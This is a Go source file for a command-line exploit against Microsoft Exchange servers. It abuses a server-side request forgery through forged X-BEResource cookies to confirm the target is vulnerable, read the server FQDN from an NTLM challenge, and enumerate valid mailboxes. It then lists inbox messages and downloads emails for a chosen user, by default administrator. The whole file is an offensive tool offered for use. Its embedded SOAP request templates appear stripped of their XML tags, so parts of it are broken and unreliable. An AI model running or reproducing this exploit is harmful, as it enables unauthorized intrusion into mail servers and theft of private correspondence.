package main import ( "crypto/tls" "flag" "fmt" "time" "io" "io/ioutil" "net/http" //"net/url" "os" "strings" "regexp" "encoding/base64" "bufio" "strconv" ) //Detecting vulnerability existence script func Verify(targetUrl string) bool { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client := &http.Client{Transport: tr} req, _ := http.NewRequest("GET", targetUrl, nil) req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;") resp, _ := client.Do(req) defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) if strings.Contains(string(body), "NegotiateSecurityContext") { return true } else { return false } } func append16(v []byte, val uint16) []byte { return append(v, byte(val), byte(val>>8)) } func append32(v []byte, val uint16) []byte { return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24)) } const ( negotiateUnicode = 0x0001 // Text strings are in unicode negotiateOEM = 0x0002 // Text strings are in OEM requestTarget = 0x0004 // Server return its auth realm negotiateSign = 0x0010 // Request signature capability negotiateSeal = 0x0020 // Request confidentiality negotiateLMKey = 0x0080 // Generate session key negotiateNTLM = 0x0200 // NTLM authentication negotiateLocalCall = 0x4000 // client/server on same machine negotiateAlwaysSign = 0x8000 // Sign for all security levels ) //Generate NTLM Type1 func Negotiate() []byte { var ret []byte flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM ret = append(ret, "NTLMSSP\x00"...) // protocol ret = append32(ret, 1) // type ret = append32(ret, uint16(flags)) // flags ret = append16(ret, 0) // NT domain name length ret = append16(ret, 0) // NT domain name max length ret = append32(ret, 0) // NT domain name offset ret = append16(ret, 0) // local workstation name length ret = append16(ret, 0) // local workstation name max length ret = append32(ret, 0) // local workstation name offset ret = append16(ret, 0) // unknown name length ret = append16(ret, 0) // ... ret = append16(ret, 0x30) // unknown offset ret = append16(ret, 0) // unknown name length ret = append16(ret, 0) // ... ret = append16(ret, 0x30) // unknown offset return ret } //Get effective information FQDN with NTLM TYPE2 func Ntlminfo(targetUrl string) (fqdn string, domain string) { //var fqdn string tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client := &http.Client{Transport: tr} req, _ := http.NewRequest("GET", targetUrl, nil) req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate()))) req.Header.Add("Accept","text/xml") resp, _ := client.Do(req) reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`) reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`) reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`) reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`) reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`) reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`) for _, values := range resp.Header { type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";"))) if type2 != "" { decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2)) fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "") domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "") } } return } func Postxml(targetUrl string, fqdn string, xmlcontent string) string { //urlProxy, _ := url.Parse("http://127.0.0.1:8123") tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //Proxy: http.ProxyURL(urlProxy), } client := &http.Client{Transport: tr} req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent)) req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn)) req.Header.Add("Content-Type", "text/xml") //fmt.Println(req) resp2, _ := client.Do(req) //defer resp2.Body.Close() body2, _ := ioutil.ReadAll(resp2.Body) return string(body2) } func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) { fmt.Println(userfile) ufile, err := os.Open(userfile) if err != nil { fmt.Println("File error") os.Exit(0) } defer ufile.Close() fmt.Println("Correct email address: \n") br := bufio.NewReader(ufile) for { name, _, c := br.ReadLine() if c == io.EOF { fmt.Println("\nComplete ") break } if strings.Contains(string(name), "@") { str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name))) if strings.Contains(str, string(name)) { //fmt.Println(fmt.Sprintf("Email address %s is incorrect ", string(name))) }else { fmt.Println(string(name)) } }else{ address := fmt.Sprintf("%s@%s", string(name), domainneame) str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address)) if strings.Contains(str, string(name)) { //fmt.Println(fmt.Sprintf("Email address %s is incorrect ", address)) }else { fmt.Println(address) } } time.Sleep(time.Duration(stime)*time.Second) } } func makefile(fileName string, conntent string) { f, err := os.Create(fileName) defer f.Close() if err != nil { fmt.Println(err.Error()) } else { _, _ = f.Write([]byte(conntent)) } } func main(){ var maddress string host := flag.String("h", "", "String required, target address or domain name") filepath := flag.String("U", "", "String options, users who need enumerations") stime := flag.String("t", "1", "String option, request delay time Default 1") desfqnd := flag.String("n", "", "String option, you need to specify FQND") list := flag.Bool("l", false, "Optional, Listing Mail") emailadd := flag.String("u", "administrator", "string option, designated target, Default administrator") downl := flag.Bool("d", false, "Optional, download mail") flag.Parse() targetUrl := fmt.Sprintf("https://%s/owa/auth/x.js", *host) ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host) postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host) sleep_time, _ := strconv.Atoi(*stime) if *host == "" { fmt.Println("Please enter the target IP address ") os.Exit(0) } fmt.Println("Test the existence of the vulnerability ...") if Verify(targetUrl) == true { fmt.Println("Vulnerability exists ... Continue ") }else{ fmt.Println("Vulnerability does not exist ... END") os.Exit(0) } mailnum := ` Default %s ` maillist := ` AllProperties %s ` download := ` AllProperties Text ` fqndstr, domainstr := Ntlminfo(ewsUrl) fmt.Println("Target FQND: ", fqndstr) if *filepath != "" { Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time) } if *desfqnd != "" { fqndstr = *desfqnd } if strings.Contains(*emailadd, "@") { maddress = *emailadd }else{ maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr) } str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress)) //fmt.Println(str) if strings.Contains(str, maddress) { fmt.Println(fmt.Sprintf("The email address %s is incorrect, please re-enter ", maddress)) }else if strings.Contains(str, "Success") { reg01 := regexp.MustCompile(`()(.+)()`) reg02 := regexp.MustCompile(`|`) mnum := reg02.ReplaceAllString(reg01.FindString(str), "") fmt.Println("User", maddress, "The number of mail in the inbox in the mailbox is: ", mnum) if *list == true { if mnum != "0"{ contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress)) reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`) reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`) reg_sub := regexp.MustCompile(`(?:)(.+?)(?:)`) id := reg_id.FindAllStringSubmatch(contents, -1) key := reg_key.FindAllStringSubmatch(contents, -1) subject := reg_sub.FindAllStringSubmatch(contents, -1) for i := 0; i < 5 ; i++{ fmt.Println("---------") fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1]) fmt.Println() } if *downl == true { for i := 0; i < 5 ; i++{ fmt.Println("Downloading ", i," Email") contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1])) makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd) } fmt.Println("Download completed") } }else{ fmt.Println("Target mailbox no email! ") } } }else{ fmt.Println("Default FQDN invalid, please specify other servers ") } }